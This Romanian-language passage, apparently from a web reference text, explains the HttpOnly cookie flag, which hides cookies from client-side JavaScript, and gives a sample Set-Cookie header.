cookie-urile nu sunt vizibile in programele de pe partea client precum JavaScript daca au fost trimise cu flag-ul
HttpOnly. Din punctul de vedere al serverului, singura diferenta fata de cazul normal este ca in linia set-cookie
se adauga la sfarsit sirul "HttpOnly":

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/;
domain=.example.net; HttpOnly

Cand navigatorul primeste un astfel de cookie, el trebuie sa il foloseasca in mod obisnuit pentru schimburile
HTTP urmatoare, dar sa nu il faca vizibil scripturilor partii client.
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